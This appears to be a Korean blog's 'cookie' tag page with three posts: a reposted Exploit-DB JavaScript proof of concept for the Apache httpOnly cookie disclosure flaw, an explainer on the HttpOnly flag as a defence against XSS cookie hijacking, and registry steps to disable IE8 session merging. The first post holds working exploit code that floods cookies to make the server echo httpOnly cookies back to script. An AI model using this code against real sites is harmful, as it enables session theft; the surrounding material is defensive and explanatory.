'cookie'에 해당되는 글 3건
- 2012.02.03 Apache httpOnly Cookie Disclosure
- 2009.11.24 HttpOnly를 이용한 쿠키 하이재킹 방지 (1)
- 2009.09.03 IE8 Session 유지 기능 해제 방법
트윗하기 | |||
|
// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 |
// Most browsers limit cookies to 4k characters, so we need multiple |
function setCookies (good) { |
// Construct string for cookie value |
var str = ""; |
for (var i=0; i< 819 ; i++) { |
str += "x"; |
} |
// Set cookies |
for ( i = 0 ; i < 10; i++) { |
// Expire evil cookie |
if (good) { |
var cookie = "xss" +i+"=; expires = "+new Date(+new Date()-1).toUTCString()+" ; path=/;"; |
} |
// Set evil cookie |
else { |
var cookie = "xss" +i+"="+str+";path=/"; |
} |
document.cookie = cookie; |
} |
} |
function makeRequest() { |
setCookies(); |
function parseCookies () { |
var cookie_dict = {}; |
// Only react on 400 status |
if (xhr.readyState === 4 && xhr.status === 400) { |
// Replace newlines and match <pre> content |
var content = xhr.responseText.replace(/\r|\n/g,'').match(/< pre >(.+)<\/pre>/); |
if (content.length) { |
// Remove Cookie: prefix |
content = content[1].replace("Cookie: ", ""); |
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); |
// Add cookies to object |
for (var i=0; i<cookies.length; i++) { |
var s_c = cookies[i].split('=',2); |
cookie_dict[s_c[0]] = s_c[1]; |
} |
} |
// Unset malicious cookies |
setCookies(true); |
alert(JSON.stringify(cookie_dict)); |
} |
} |
// Make XHR request |
var xhr = new XMLHttpRequest(); |
xhr.onreadystatechange = parseCookies; |
xhr.open("GET", "/", true); |
xhr.send(null); |
} |
makeRequest(); |
출처 : Exploit-DB
트윗하기 | |||
쿠키의 httponly 옵션에 대해서
1. 언제 개발되었나?
-2002년 MS IE6.0 SP1 에서 최초 지원
2. 어떤 동작을 하는가?
-클라이언트 브라우저에서 쿠키가 생성될때 httponly 옵션이 있으면
클라이언트 스크립트의 쿠키 요청에 대해서 브라우저는 응답을 하지 않습니다.
-예를 들어 쿠키 생성시 httponly 옵션이 있다면 javascript 의 document.cookie 메소드를 통해
쿠키정보를 브라우저로 부터 획득할 수 없습니다.
3. 왜 만들어 졌는가?
-XSS 를 이용한 쿠키 하이재킹에 대응하기 위해 개발된 기술입니다.
4. 지원하는 브라우저
-Microsoft Internet Explorer 6.0 SP1 이상
-Mozilla Firefox 3.0.0.6+ 이상
-Netscape Navigator 9.0b3 이상
-Opera 9.50 이상
-Google's Chrome
-ASP, JSP 같은 웹 언어하고는 상관 없습니다.
쿠키를 발생하는 Set-Cookie 에 httponly 라는 문자열만 있으면 되며
클라이언트 측 브라우저가 해당 옵션을 지원하냐 못하냐의 문제입니다.
-현재 대부분의 최신 브라우저에서 지원하고 있으며 지원하지 않는다고 해서
에러는 발생하지 않고 단지 옵션이 무시됩니다.
5. MS 의 표준화 노력
-ASP.NET 2.0 환경에서는 시스템 쿠키에서 httponly 는 디폴트로 생성이 됩니다.
-MSDN 발췌
"HttpOnly. This property specifies whether the cookie can be accessed by client script. In ASP.NET 2.0, this value is always set to true. Internet Explorer 6 Service Pack 1 supports this cookie attribute, which prevents client-side script from accessing the cookie from the document.cookie property."
http://msdn.microsoft.com/en-us/library/ms533046.aspx
http://blogs.msdn.com/ie8kr/archive/2009/03/17/ie8-5.aspx
http://www.owasp.org/index.php/HTTPOnly
http://msdn.microsoft.com/en-us/library/aa480476.aspx
출처 : http://blog.naver.com/kim119z
<script type="text/javascript">
function showMeTheCookie()
{
alert(document.cookie);
}
function normalCookie()
{
document.cookie="Name=Value";
showMeTheCookie();
}
function httpOnlyCookie()
{
document.cookie="Name=Value; httpOnly";
showMeTheCookie();
}
</script>
<FORM>
<INPUT TYPE="BUTTON" onClick="normalCookie();" Value="Display Normal Cookie">
<INPUT TYPE="BUTTON" onClick="httpOnlyCookie();" Value="Display httpOnly Cookie">
</FORM>
소스 출처 : http://mkseo.pe.kr/blog
트윗하기 | |||
IE8의 Session유지 기능은 하나의 Internet Explorer 에서는 새로운 탭에서도 Cookie을 공유하도록 하여 사용자의 편의를 도모하였습니다.
2. 옵션 사용
시작 - 모든프로그램(프로그램) -> Internet explorer 마우스 오른쪽 클릭 속성을 클릭 합니다. -nomerge 추가 합니다.
- "C:\Program Files\Internet Explorer\iexplore.exe" -nomerge
메모장을 실행합니다.
아래의(파랑색부분) 텍스트를 복사하여 메모장에 붙여 넣습니다.
"FrameMerging"=dword:00000000
"SessionMerging"=dword:00000000
메뉴에서 다른이름으로 저장 클릭 하셔서 ie8session_disable.reg로 저장합니다.
저장된 ie8session_disable.reg 실행하여 적용하신후 재부팅 하면 적용 됩니다.
(다른 PC에는 이파일만 복사하여 적용하시면 됩니다.)
출처 : 마이크로소프트 기술지원센터
